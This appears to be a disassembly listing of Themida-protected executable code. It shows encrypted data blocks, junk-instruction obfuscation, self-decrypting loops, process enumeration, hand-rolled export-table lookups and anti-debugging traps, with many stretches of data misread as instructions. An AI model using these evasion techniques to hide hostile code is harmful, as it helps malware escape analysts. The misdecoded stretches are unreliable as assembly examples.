		dd 0B17E1738h, 51B4E252h, 0E02E20Ch, 0D9E515E9h, 2764956Ah
		dd 13031408h, 8C421349h, 0A7562D0Ah, 661138EDh,	0EC4F3426h
		dd 0DB453A7Ch, 0D8DE4EAEh, 7822C8E7h, 6DC698C8h, 0A39C9A0Ah
		dd 12CE75C7h, 0EB323B6Fh, 0E6C939BEh, 3503CA17h, 239F9593h
		dd 159h, 502595F1h, 7EE5EE3h, 482D9D18h, 10E555DBh, 462F9F23h
		dd 3675A51h, 0CA2D0293h, 864BB5Ah, 0C526FD98h, 4717C055h
		dd 9C71557Ch, 0E5571816h, 3DB0BABh, 0F2276AD9h,	0F5C61086h
		dd 0EF843F15h, 6E16A16Ch, 6273595Dh, 40587251h,	91576DD6h
		dd 0A82496Eh, 0EF1E1621h, 500AC9BFh, 104000BAh,	0C89B774Eh
		dd 0D1E21081h, 0BB5CF54Ch, 0EC486EB1h, 0E5h, 0FC990965h
		dd 0C352C227h, 0D4A1116Ch, 8C69D95Fh, 0D2A31397h, 57DBD6D5h
		dd 9E210EE7h, 5CD8472Eh, 991A09ECh, 537B4C29h, 9C76A9F0h
		dd 0A9935416h, 3DB0BABh, 0A16CA340h, 2D693A16h,	0AE47B734h
		dd 0A4920281h, 2C326216h, 10800132h, 62412926h,	10BB1639h
		dd 210EE7B8h, 0F96530A0h, 0FC6CCEE3h, 0B2060049h, 6ADA5E1Ch
		dd 0DCED532Ch, 1080FD2Eh, 0DA4AAE85h, 1686E43Bh, 4201DB7Fh
		dd 1CB2061Fh, 0E454B1DEh, 90F21FCBh, 97151E20h,	6C1EEF27h
		dd 3DAD1221h, 0F969CB58h, 34A4071Ch, 56DD261h, 4D1DE19Eh
		dd 1EF7D8DEh, 0A6B8E898h, 0FA1FA6B8h, 811CB215h, 0A0EBDAB0h
		dd 3F1A958Bh, 0B83B286Eh, 0B4A1AD48h, 0E3D95B74h, 893C0282h
		dd 2C9F940h, 54701A2Bh,	0Dh, 6F6D2F68h,	86F28DD4h, 0AB5F7010h
		dd 5ACA2487h, 74E4475Ch, 63D33142h, 49B93E33h, 66D6544Dh
		dd 4FBF4330h, 66D65A47h, 52C24330h, 7AEA4F64h, 8953783Ch
		dd 4C381E3h, 83000000h,	1C8704EBh, 24248B24h, 4EC81h, 34890000h
		dd 419C6824h, 0C890000h, 27B95124h, 814BA928h, 1115D4F1h
		dd 59CE8955h, 0EE81DEF7h, 0DB2D4787h, 4EC81h, 24890000h
		dd 24048324h, 0BB535904h, 8, 5158C381h,	0CB0149FAh, 5158EB81h
		dd 338949FAh, 240C8B5Bh, 81E78957h, 4C7h, 4C78100h, 87000000h
		dd 0FF5C243Ch, 835E2434h, 87E904C4h, 0DFFFAF8h,	1A854BB8h
		dd 8BC50306h, 0DE8C3h, 0A0BF0000h, 5B0AE789h, 0B9B18D1Bh
		dd 0E975F730h, 10h, 0A7176C52h,	2989EA13h, 0B6C4E8E1h
		dd 0B11571B8h, 0A1E7815Bh, 810204ABh, 5BFCC3h, 78BAF500h
		dd 81036588h, 659E98F2h, 0F0816603h, 0B8BD9BEh,	3331C181h
		dd 0EABF0AFAh, 81769B18h, 40EAC6E9h, 0C181F903h, 64C74E85h
		dd 7E9h, 27579400h, 953C0222h, 0EB830B89h, 5880F02h, 66000000h
		dd 6A0DD881h, 4AF94B4Bh, 0FFC0850Fh, 73E9FFFFh,	6A000002h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0FCC8C350h, 13E9D72Dh, 8D000000h,	0FA475B96h
		dd 739E56DFh, 0B22F5274h, 98926EA2h, 0B58DE201h, 61A8767h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 20C35343h
		dd 606B6D99h, 68A0Fh, 0E1810000h, 229DEA2Ah, 0BE9h, 0FDEB500h
		dd 739F6C9Ah, 0DFC88E27h, 0B8666061h, 0BE8865Fh, 79000000h
		dd 434C3257h, 0E60D79ACh, 616068E4h, 858D6158h,	6184559h
		dd 98E0Fh, 8B600000h, 0F52FBAD3h, 0FF610CCEh, 810F60D0h
		dd 11h,	0CE9h, 873EAF00h, 807C064Ch, 1B53BFF1h,	5890F05h
		dd 66000000h, 4865F181h, 12E86061h, 0B8000000h,	0EBF114DEh
		dd 0AA096F40h, 222BB820h, 36B51EDEh, 505EFC38h,	615A2CB6h
		dd 138A0FC3h, 0F000000h, 0D86h,	8E900h,	1C570000h, 5AF4EAC4h
		dd 8C6686CBh, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 800F601Dh, 6, 0A173F781h,	7E96559h
		dd 0D9000000h, 99EBB860h, 0F66177D6h, 840F04C1h, 67h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0ADC35545h, 0A92F2F05h
		dd 0B55F0D68h, 6E9h, 9F4B7800h,	8B0B5218h, 32CB8BFBh, 0FD75AEC0h
		dd 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h, 3F20CD00h, 0B000101h
		dd 8D1874C0h, 0FA8B0C70h, 75A6CB8Bh, 0FA75490Ah, 1B8h
		dd 8B09EB00h, 0B8E4EB00h, 0
		dd 51006ACFh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 1E986956h, 606F0B8Fh, 38B0Fh, 8B660000h
		dd 8B0F53DFh, 0
		dd 820F615Eh, 1, 6E860FCh, 9D000000h, 4C2DDBF5h, 11E924h
		dd 34F50000h, 81BF2F55h, 6B32A409h, 48674E85h, 5A83865Fh
		dd 1DDE8160h, 0F4D947Eh, 85h, 6A616100h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0ECA6C350h
		dd 1F61F8D5h, 0F416981h, 1D86h,	17810F00h, 0E9000000h
		dd 12h,	6D9072C2h, 282E00FCh, 21CDD0A1h, 8A5DBC71h, 0F60BBC8h
		dd 8Bh,	85C76100h, 61A87F0h, 1013Fh, 899A8D8Dh,	6660061Ah
		dd 8033DE81h, 6850Fh, 95290000h, 6150269h, 218D8961h, 6A061527h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 1C6EC353h, 75BD890Dh, 0C7061510h,	1504CD85h
		dd 640C06h, 0EE800h, 0CA140000h, 0E17A7E30h, 1A1279DBh
		dd 955FADE2h, 10E9h, 0C3587500h, 0CF70F089h, 5B9550E2h
		dd 8FE8A2DCh, 85C75E35h, 6151115h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5D239B
; ---------------------------------------------------------------------------
		db 87h,	0EDh
		db 8Ah
		dd 0AC8D2CF8h
		db 23h,	0C3h, 0EAh
; ---------------------------------------------------------------------------


loc_5D239B:				; CODE XREF: Themida_:005D238Cj
		push	dword ptr [ebp+6152339h]
		mov	eax, [ebp+61503C5h]
		pusha
		mov	di, ax
		pusha
		push	edi
		pop	edi
		popa
		popa
		call	dword ptr [ebp+61502C9h]
		jge	loc_5D23C2
		mov	ebx, [ebp+6151675h]


loc_5D23C2:				; CODE XREF: Themida_:005D23B6j
		push	0
		call	dword ptr [ebp+6152E21h]
		mov	eax, eax
		jmp	short loc_5D23F9
; ---------------------------------------------------------------------------
		dw 7DA7h
		dd 0A9DBB13Fh, 9635604Ch, 492A51D3h, 0C8D6B0F0h, 7D3814B7h
		dd 42E0DA5Ah, 0ABFC9EE9h, 0DE83084h, 9DE983DFh,	5794420Dh
; ---------------------------------------------------------------------------
		daa


loc_5D23F9:				; CODE XREF: Themida_:005D23CCj
		call	near ptr loc_5D2408+1
		adc	dh, [ecx]
		out	0E2h, eax
		mov	eax, 6B9AECFDh
		in	eax, dx


loc_5D2408:				; CODE XREF: Themida_:loc_5D23F9p
		db	26h
		movsx	esi, dx
		pop	edx
		jb	loc_5D241F
		pusha
		mov	esi, [ebp+61506C9h]
		mov	ax, 0E1h
		popa


loc_5D241F:				; CODE XREF: Themida_:005D240Dj
		add	edx, 6051h
		movsx	edi, cx
		sub	ebx, ebx
		mov	eax, [ebp+6151799h]


loc_5D2430:				; CODE XREF: Themida_:005D249Aj
		mov	ecx, [edx+ebx]
		sub	[ebp+6150DF9h],	esi
		add	ecx, 7A0960F8h
		and	edi, [ebp+6150441h]
		sub	ecx, 4FC4061h
		movsx	eax, cx
		sub	ecx, 3530A31Fh
		mov	ax, 6C2Fh
		push	ecx
		jo	$+6
		pop	dword ptr [edx+ebx]
		add	[ebp+6151A11h],	ebx
		mov	esi, [ebp+6152451h]
		sub	ebx, 4
		and	ah, 0F4h
		cmp	ebx, 0FFFFA060h
		jnz	loc_5D2494
		jmp	loc_5D24B3
; ---------------------------------------------------------------------------
		db 20h,	0D8h, 0B7h
		dd 0EBF4A124h, 0CBBCD7C5h, 6982BBB0h
; ---------------------------------------------------------------------------


loc_5D2494:				; CODE XREF: Themida_:005D247Aj
		xor	[ebp+6151DF1h],	ebx
		jmp	loc_5D2430
; ---------------------------------------------------------------------------
		db 47h
		dd 5D4EF3Eh, 6E163460h,	730EFEFEh, 2BCB7564h
; ---------------------------------------------------------------------------
		mov	bh, 0A1h
		inc	ebp


loc_5D24B3:				; CODE XREF: Themida_:005D2480j
		jmp	loc_5D25F4
; ---------------------------------------------------------------------------
		dd 4Fh dup(0)
; ---------------------------------------------------------------------------


loc_5D25F4:				; CODE XREF: Themida_:loc_5D24B3j
		cmp	dword ptr [ebp+6152169h], 1
		jz	loc_5D2B19
		push	0
		push	eax
		call	sub_5D260C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D260C	proc near		; CODE XREF: Themida_:005D2604p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5D260C	endp

; ---------------------------------------------------------------------------
		inc	ebx
		pusha
		inc	edx
		imul	ecx, esp, 99B79F2h
		mov	byte ptr [ebp+61509C5h], 43h
		pusha
		jmp	loc_5D2637
; ---------------------------------------------------------------------------
		dw 0F723h
		db 0EEh, 43h, 96h
; ---------------------------------------------------------------------------


loc_5D2637:				; CODE XREF: Themida_:005D262Dj
		mov	dx, 7BFDh
		popa
		call	near ptr loc_5D2642+3
		cmc


loc_5D2642:				; CODE XREF: Themida_:005D263Cp
		shl	byte ptr [ebp+7E9ECh], 1
; ---------------------------------------------------------------------------
		dd 57B20000h, 0A5EE4105h, 525050A0h, 6E9h, 445FD600h, 0FDD025Dh
		dd 0BF666031h, 5A61E848h, 24448B58h, 60525004h,	8B666160h
		dd 310F61D8h, 11890Fh, 0CE90000h, 0B9000000h, 0BF82E93Eh
		dd 0B665E7FAh, 5A508EBFh, 0E9008B58h, 11h, 3613D3D8h, 99DC483Eh
		dd 9FD76E61h, 0C8933734h, 2444892Ah, 0EE904h, 92500000h
		dd 3FEA119Ah, 7118D484h, 0FC345675h, 0E3B36058h, 6161F960h
		dd 2811B5FFh, 850F0615h, 7, 66595060h, 8D61C38Bh, 1872BC85h
		dd 0D0FFF506h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	98C35343h, 391F49C3h, 3DE5A535h, 558589F9h, 0F061524h
		dd 1585h, 10E900h, 3CB80000h, 7DA6EDEBh, 0F99C8168h, 263002CEh
		dd 85C642D4h, 61509C5h,	1B810F50h, 60000000h, 13E9h, 93C07D00h
		dd 3584CEA3h, 4BD64502h, 2BFB300Dh, 8B8D2507h, 0B16861F9h
		dd 50A4C548h, 0F525052h, 8Ch, 0F310F00h, 87h, 0F585A00h
		dd 0E9525031h, 13h, 23B21610h, 0CFC68B29h, 944CFD58h, 243CA389h
		dd 0F342E54h, 0BE931h, 840B0000h, 0EB544F90h, 79C97265h
		dd 5A585AC0h, 24348158h, 0C68E5E7h, 11B5FFF9h, 60061528h
		dd 12E8h, 88F07100h, 0A81C9B66h, 481C3B41h, 82257AFAh
		dd 0E8B26FA3h, 11h, 0A19DF547h,	0F49B7EB3h, 50146F55h
		dd 9B735357h, 0F95959ABh, 11E961h, 0EAC60000h, 5984722Eh
		dd 85F4CBE0h, 3BFFA1B1h, 8D4984E2h, 1872BC85h, 16860F06h
		dd 0E9000000h, 11h, 6D150533h, 0F976DC6Fh, 3DFD3B10h, 89AFB894h
		dd 0F8D0FF24h, 108C0Fh,	0BE90000h, 34000000h, 0A12492Ch
		dd 0DABD0998h, 858911C9h, 6151DF9h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 1FC35747h, 89BD5E51h, 0E9D5FB3Ah
		dd 13h,	0A310B152h, 0E6733075h,	18FCA532h, 7A083D09h, 0E9C9114Bh
		dd 10h,	0DF6BA74h, 244BE2Dh, 0C002AFEh,	0ABD26286h, 0C741D168h
		dd 0EE99Eh, 50D70000h, 0A0C4430h, 856C6872h, 0C71B45F9h
		dd 0FE243481h, 606E48E9h, 14E9h, 2A8E7900h, 1B91EBF0h
		dd 0DAD0D8B3h, 0ABE8EEh, 133577C7h, 87B866B0h, 0B5FF6156h
		dd 6152811h, 0DE8B60F8h, 14E9h,	0E94FDB00h, 3F9A28E1h
		dd 20F059F4h, 2398544Eh, 0E9D5DFCFh, 858D616Fh,	61872BCh
		dd 60D0FFFCh, 91EFDA81h, 0E9524BD4h, 0Ch, 24A44B3Fh, 0B49F573Ch
		dd 0AA1E2C6h, 8589615Eh, 6150E0Dh, 0C585C6F8h, 50061509h
		dd 10E9h, 836BB000h, 0B6A87B15h, 9813DD84h, 4353E798h
		dd 0BD4E6865h, 0CE92604h, 2E000000h, 13C97CC5h,	1BBA73C4h
		dd 81073B02h, 1F082404h, 0F607198h, 0B70FCBB7h,	0BE961D6h
		dd 98000000h, 0A1E100B5h, 0D855DF4Fh, 0B5FFCB52h, 6151685h
		dd 38858DF9h, 6006153Bh, 8E9C781h, 61F82CEFh, 89F5D0FFh
		dd 1505B585h, 92E9F506h, 60000001h, 0F8C0BF0Fh,	0E9609561h
		dd 7, 16280DD3h, 6638723Ah, 5061F98Bh, 13E9h, 0A3C4900h
		dd 7AC51402h, 5256ABE6h, 0CD5499C9h, 0E67762DDh, 0DE995h
		dd 88640000h, 23EB6A2Ah, 2266B130h, 0F812ECBh, 180h, 0EC8BFC00h
		dd 0F7816660h, 12E89D59h, 0C8000000h, 55B9FCD4h, 0F7AA0652h
		dd 9E39266Fh, 5756168Ch, 0CB8B6609h, 0EE96159h,	0AC000000h
		dd 1871456Fh, 5E1FB864h, 109AEBA3h, 0FCC48352h,	0E8F860F5h
		dd 0
; ---------------------------------------------------------------------------
		pop	edx
		sub	edx, 61A8FE5h
		mov	dword ptr [ebp-4], 0
		cmp	dword ptr [edx+6152169h], 1
		jz	loc_5D2AC7
		push	edx
		push	0
		push	0Fh
		call	dword ptr [edx+6152455h]
		pop	edx
		mov	[edx+61A8A89h],	eax
		lea	ebx, [edx+61A8A8Dh]
		push	edx
		mov	dword ptr [ebx], 128h
		push	ebx
		push	eax
		call	dword ptr [edx+6151DF9h]
		pop	edx


loc_5D2A57:				; CODE XREF: Themida_:005D2A81j
					; Themida_:005D2AB5j
		push	edx
		lea	ebx, [edx+61A8A8Dh]
		push	ebx
		push	dword ptr [edx+61A8A89h]
		call	dword ptr [edx+61505B5h]
		pop	edx
		or	eax, eax
		jz	short loc_5D2AC0
		lea	ebx, [edx+61A8A8Dh]
		lea	edi, [ebx+24h]
		xor	ecx, ecx


loc_5D2A7B:				; CODE XREF: Themida_:005D2A8Bj
		cmp	ecx, 104h
		jz	short loc_5D2A57
		inc	ecx
		cmp	dword ptr [ecx+edi], 4558452Eh
		jnz	short loc_5D2A7B
		lea	esi, [ecx+edi]
		sub	esi, [ebp+0Ch]
		lea	edi, [edx+6151A71h]
		mov	ecx, [ebp+0Ch]
		rep movsb
		xor	al, al
		stosb
		push	edx
		push	dword ptr [ebp+8]
		lea	eax, [edx+6151A71h]
		push	eax
		call	dword ptr [edx+6150E0Dh]
		pop	edx
		or	eax, eax
		jnz	short loc_5D2A57
		mov	dword ptr [ebp-4], 1
		jmp	short loc_5D2AC7
; ---------------------------------------------------------------------------


loc_5D2AC0:				; CODE XREF: Themida_:005D2A6Ej
		mov	dword ptr [ebp-4], 0


loc_5D2AC7:				; CODE XREF: Themida_:005D2A29j
					; Themida_:005D2ABEj
		popa
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_5D2AE5
; ---------------------------------------------------------------------------
		dd 2BA96030h, 0A4C4E6EDh, 0BD8A800Fh, 0E518A81Dh
		db 32h
; ---------------------------------------------------------------------------


loc_5D2AE5:				; CODE XREF: Themida_:005D2ACFj
		push	0
		push	esi
		call	sub_5D2AF0
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D2AF0	proc near		; CODE XREF: Themida_:005D2AE8p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5D2AF0	endp

; ---------------------------------------------------------------------------
		dd 0AAADBh, 0FE92Ch, 2CE30000h,	460BE84Eh, 9FAB5598h, 739390B8h
; ---------------------------------------------------------------------------
		pop	ebx


loc_5D2B19:				; CODE XREF: Themida_:005D25FBj
		mov	edx, edx
		call	sub_5D2B33
		pop	edx
		insd
		out	dx, al
		mov	ecx, 14B63847h
		imul	edi, [esi+71h],	96037DE3h
		inc	ecx
		sbb	[edx+1Bh], esp

; =============== S U B	R O U T	I N E =======================================



sub_5D2B33	proc near		; CODE XREF: Themida_:005D2B1Bp
		movsx	edi, dx
		pop	edx
		jns	loc_5D2B42
		pusha
		movzx	esi, si
		popa


loc_5D2B42:				; CODE XREF: sub_5D2B33+4j
		add	edx, 5DBBh
		mov	ecx, 2845F9DAh
		mov	esi, 1740h
		mov	ecx, esi


loc_5D2B54:				; CODE XREF: Themida_:005D2BD4j
		push	dword ptr [edx]
		jnp	loc_5D2B60
		mov	ax, 3A57h


loc_5D2B60:				; CODE XREF: sub_5D2B33+23j
		pop	ebx
		jmp	loc_5D2B74
; ---------------------------------------------------------------------------
		xchg	eax, edx
		or	[edi+0F4286Bh],	edx
		test	bl, 0B2h
		mov	byte ptr [eax+70h], 0FFh


loc_5D2B74:				; CODE XREF: sub_5D2B33+2Ej
		add	ebx, 5F840192h
		push	edx
		js	$+6
		pop	ecx
		sub	ebx, 717347E8h
		mov	eax, 5E6123EAh
		add	ebx, 4EDAE5Fh
		mov	edi, edx
		mov	[edx], ebx
		call	sub_5D2BA6
		ja	short near ptr loc_5D2BE0+1
		sub	ebx, ebp
		fcomp	dword ptr [eax-2ED462D9h]
sub_5D2B33	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D2BA6	proc near		; CODE XREF: sub_5D2B33+64p
		mov	edi, 4C2194F6h
		pop	ecx
		sub	edx, 4
		call	near ptr loc_5D2BC7+1
		xchg	dh, [ebx+56F95455h]
		sal	byte ptr [edx],	0Fh
		dec	esi
		mov	[ebp-7BF2A836h], edx
		and	dh, [ecx]
		xchg	eax, edi


loc_5D2BC7:				; CODE XREF: sub_5D2BA6+9p
					; Themida_:005D2C47j
		and	edi, [ecx+439B403Fh]
sub_5D2BA6	endp ; sp-analysis failed

		pop	eax
		sub	esi, 1
		jnz	loc_5D2B54
		mov	eax, 17791D0Ch
		int	3		; Trap to Debugger


loc_5D2BE0:				; CODE XREF: sub_5D2B33+69j
		adc	ecx, [edi-544099E1h]
		sub	edi, [eax+21F2E963h] ; CODE XREF: Themida_:005D2BECj
		jno	short near ptr loc_5D2BE6+5
		push	es
		inc	edx
		xor	eax, 70F87A81h
		push	eax
		cld
		xlat
		test	[ebx], edx
		xor	dword ptr [eax-7Bh], 0F1F0336Dh
		std
		shl	eax, 1
		add	eax, 884A1DF9h
		in	eax, 1Eh
		icebp
		xor	edx, [ecx+3Ch]
		mul	dword ptr [eax+edx*2]
		xor	edi, [ecx]
		mov	ah, 9Eh
		sal	byte ptr [esi+53DA0E78h], 1
		db	36h
		push	eax
		xor	esp, [esi-25279F3Eh]
		push	esi
		ror	dword ptr [esi+3545213Ch], cl
		in	al, 3Ah
		aam	3Dh
		jb	short loc_5D2C66
		push	eax
		push	ebp
		mov	eax, 7562AFEFh
		xor	eax, 534E3353h
		out	dx, eax
		sub	ah, [eax+2E3D5B8h]
		das
		push	esi
		push	ebp
		jo	short near ptr loc_5D2BC7+2
		cmp	al, 0A3h
		cmp	byte ptr [esi+5FE263A2h], 50h
		popa
		sal	dword ptr [esi], 1
		push	eax
		xor	ebx, [ebp+edx-43EB0FF6h]
		add	al, 17h
		and	esi, [esp+edx+502F9717h]


loc_5D2C66:				; CODE XREF: Themida_:005D2C2Fj
		xor	ecx, ecx
		ja	short loc_5D2C6C
		lock stosd


loc_5D2C6C:				; CODE XREF: Themida_:005D2C68j
		mov	eax, ds:0D762612h
		popf
		mov	bl, 0E4h
		mov	al, 0DDh
		mov	dh, 2Eh
		movsb
		dec	edx
		xor	eax, 3353B441h
		daa
		xor	eax, 0A5F2CA30h
		in	eax, 16h
		cdq
		movsd
		out	dx, al
		pop	ebx
		add	dword ptr [edi+edx+4134E7CCh], 26h
		aas
		cmp	bl, dh
		xor	[ebp+esi-107B4CB0h], bl
		fcomi	st, st(3)
		iret
; ---------------------------------------------------------------------------
		dd 93335038h, 0E60CAB21h, 0D9A6E4Ch, 37C256BEh,	0BD77EAF6h
		dd 1F6D515Dh, 5B3BA588h, 2E465033h, 909EEDB6h, 0BD335620h
		dd 6F60002Ch, 7649E8F5h, 0BCBA5035h, 9A2643B0h,	0E4ADCDB8h
		dd 0F4CC5622h, 2EB0086Eh, 0CF265398h, 0B4242435h, 7649E866h
		dd 0BCBA5035h, 9A2643B0h, 0E9BECDB8h, 0F4CC5622h, 163C086Eh
		dd 0C9335030h, 0B904288Bh, 0F9C1DB69h, 0D16530F5h, 9C33503Ah
		dd 0B8A969AFh, 11B86918h, 83BB4B3h, 9376CFDBh, 0E43EB96Fh
		dd 485A5035h, 0DD21BB6Eh, 2839D6D1h, 2FE53CB6h,	0B689CDB8h
		dd 16BE562Fh, 0CF29D6A2h, 0BEFCDB62h, 2BE4DB67h, 395980CAh
		dd 9C30B866h, 15135035h, 7BBA0BF6h, 0D7B25411h,	0C92B5411h
		dd 0B7705035h, 0A1FF28F6h, 87550F92h, 5C38A4F8h, 4E53D43Ah
		dd 27595035h, 9330B867h, 93135035h, 0B0BA0AF6h,	36B25411h
		dd 392B5411h, 0CE715035h, 7C0A12F6h, 0BABEE99Bh, 95261FABh
		dd 2164505Fh, 0E4335036h, 2DF00F15h, 3D172CBCh,	981714B4h
		dd 4E335020h, 0BCF00772h, 9335B974h, 9AED5035h,	9905703Dh
		dd 7233538Dh, 0C3B80635h, 0FCD0AF6Ch, 4AD0D153h, 0BABE3181h
		dd 9529C1F7h, 4FA4D5B8h, 0E459562Fh, 7230B866h,	62135035h
		dd 0C0BA0BF6h, 0AB25411h, 27265411h, 0C0705035h, 36E20EF6h
		dd 0EBF35BE5h, 723313B1h, 3BB85F35h, 17335035h,	0D0AEDDE2h
		dd 2835457Ah, 933351B2h, 0C88BAC35h, 8E335035h,	71DB0235h
		dd 19335035h, 1569936Fh, 0CF377461h, 3D377471h,	0D1335035h
		dd 884A9367h, 4E517EAFh, 0A6D7EAFEh, 0DACC1A63h, 0DF4CDB8h
		dd 4E59562Fh, 2730B866h, 0C8135035h, 95BA0BF6h,	0A0B25411h
		dd 72275411h, 6A705035h, 88DA7CF6h, 33335035h, 0D70255B2h
		dd 0C7CFD1FDh, 883BAAB3h, 0CADE132Eh, 0FFC30AC6h, 23B5C7B0h
		dd 0CD333A33h, 4E3353DDh, 0E46A7035h, 0B77FD96Ch, 0ED77D131h
		dd 0E4334531h, 0B1621135h, 36CAB358h, 9C3340BEh, 4E38B935h
		dd 0DB075035h, 3148C72Ch, 0DB5841E8h, 0EBE3AF51h, 723354B1h
		dd 628C3635h, 93F35B44h, 4E330FB1h, 70333A35h, 933353DDh
		dd 0A6C7035h, 0C04FD96Ah, 5677D131h, 39334831h,	5F641735h
		dd 58C36F03h, 25B25F67h, 18335035h, 3B236CEh, 0CB93BB4h
		dd 3DADCDB8h, 0B2555620h, 9C30E8E6h, 4E595035h,	2730B865h
		dd 0CB135035h, 8DBA08F6h, 0A0B25411h, 72275411h, 69735035h
		dd 63CB09F6h, 9E8C5FD6h, 72333A76h, 933353DDh, 0A6E7035h
		dd 0C05FD968h, 5677D131h, 39334631h, 5F661535h,	0C3344ACCh
		dd 3DA2E088h, 0DBBEDD33h, 71354AA0h, 6E780C48h,	76BAD506h
		dd 0F6185620h, 0BE31B9F4h, 29C1F7BAh, 0A4D5B895h, 59562F4Fh
		dd 30B866E4h, 13503572h, 830BF662h, 0A4F305E9h,	0CE8C08Bh
		dd 0E5000000h, 38DBDA37h, 9DE3516Ah, 5EE8FB4Fh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 4CC35040h, 8BD4F9F2h
		dd 0BF5E50C3h, 5A3C2F55h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0C4D8B7C3h, 560CB026h
		dd 0AAD98166h, 83D38B79h, 1508F5BDh, 9750006h, 3ADBD83h
		dd 74000615h, 8B535019h, 47AB8C0h, 85890000h, 61502A1h
		dd 0AB059D8Dh, 0D3FF0617h, 0BD83585Bh, 61503ADh, 50177400h
		dd 47AB853h, 85890000h,	61502A1h, 0A7A69D8Dh, 0D3FF0617h
		dd 0A9B6585Bh, 66E9C08Bh, 60000002h, 0F6D98C66h, 840F04C1h
		dd 35h,	0B5FF016Ah, 6151685h, 72BC858Dh, 0D0FF0618h, 14ED8589h
		dd 0FE8B0615h, 680CEFC1h, 20060000h, 26A006Ah, 0D6857h
		dd 95FF0001h, 61514EDh,	32E9h, 0C585C600h, 56061509h, 0C530DF68h
		dd 11B5FFA9h, 8D061528h, 1872BC85h, 89D0FF06h, 15301985h
		dd 75858D06h, 5006151Eh, 56A406Ah, 1995FF56h, 61061530h
		dd 0C3h, 2 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5D30D1:				; DATA XREF: Themida_:0057BF70o
		push	edx
		mov	edx, esp
		pusha
		mov	eax, [edx+8]
		mov	[ebp+61A969Eh],	eax
		mov	eax, [edx+0Ch]
		mov	[ebp+61A9696h],	eax
		mov	eax, [edx+10h]
		mov	[ebp+61A969Ah],	eax
		lea	esi, [ebp+61A96D4h]
		lea	eax, dword_5B8EA1[ebp]
		call	eax
		popa
		pop	edx
		retn	0Ch
; ---------------------------------------------------------------------------
		mov	esi, [ebp+61A969Eh]
		mov	eax, [ebp+61A9696h]
		cmp	dword ptr [ebp+61A969Ah], 0
		jz	loc_5D3123
		mov	[esi], eax
		jmp	locret_5D3125
; ---------------------------------------------------------------------------


loc_5D3123:				; CODE XREF: Themida_:005D3116j
		mov	[esi], al

locret_5D3125:				; CODE XREF: Themida_:005D311Ej
		iret
; ---------------------------------------------------------------------------
		align 4
		dd 0
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D312E:				; DATA XREF: Themida_:0057AB90o
		push	edx
		mov	edx, esp
		pusha
		mov	eax, [edx+8]
		mov	[ebp+61A969Eh],	eax
		lea	esi, [ebp+61A9725h]
		lea	eax, dword_5B8EA1[ebp]
		call	eax
		popa
		pop	edx
		mov	eax, [ebp+61A969Eh]
		retn	4
; ---------------------------------------------------------------------------
		dd 969E858Bh, 8B061Ah, 969E8589h, 0CF061Ah
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_5D3167	proc near		; DATA XREF: Themida_:0057A79Co
		pusha
		mov	[ebp+61A96FBh],	esi
		mov	[ebp+61A96F7h],	eax
		lea	eax, [ebp+61505E1h]
		mov	eax, [eax+44h]
		mov	[ebp+61A9734h],	eax
		lea	esi, [ebp+61A976Ah]
		lea	eax, dword_5B8EA1[ebp]
		call	eax
		popa
		mov	eax, [ebp+61A96FBh]
		retn
sub_5D3167	endp

; ---------------------------------------------------------------------------
		mov	ebx, [ebp+61A96F7h]
		movzx	eax, word ptr [ebx+3Ch]
		add	ebx, eax
		mov	ebx, [ebx+78h]
		add	ebx, [ebp+61A96F7h]
		mov	esi, [ebx+24h]
		add	esi, [ebp+61A96F7h]
		push	esi
		mov	edi, [ebx+20h]
		mov	esi, [ebx+1Ch]
		add	edi, [ebp+61A96F7h]
		add	esi, [ebp+61A96F7h]
		cld
		or	ecx, 0FFFFFFFFh


loc_5D31CE:				; CODE XREF: Themida_:005D31ECj
					; Themida_:005D31FBj
		inc	ecx
		mov	ebx, [ebp+61A96FBh]
		mov	edx, [edi]
		add	edx, [ebp+61A96F7h]
		add	edi, 4


loc_5D31E0:				; CODE XREF: Themida_:005D31F4j
		mov	al, [edx]
		test	al, al
		jz	loc_5D31F9
		cmp	al, [ebx]
		jnz	loc_5D31CE
		inc	ebx
		inc	edx
		jmp	loc_5D31E0
; ---------------------------------------------------------------------------


loc_5D31F9:				; CODE XREF: Themida_:005D31E4j
		cmp	al, [ebx]
		jnz	loc_5D31CE
		pop	edi
		shl	ecx, 1
		movzx	eax, word ptr [edi+ecx]
		mov	eax, [esi+eax*4]
		add	eax, [ebp+61A96F7h]
		mov	[ebp+61A96FBh],	eax
		mov	esi, eax
		mov	ecx, esi
		mov	eax, ecx
		cmp	dword ptr [ebp+61A9734h], 0C0300000h
		jnz	loc_5D323A
		shr	eax, 14h
		and	eax, 0FFCh
		jmp	loc_5D3242
; ---------------------------------------------------------------------------


loc_5D323A:				; CODE XREF: Themida_:005D3227j
		shr	eax, 12h
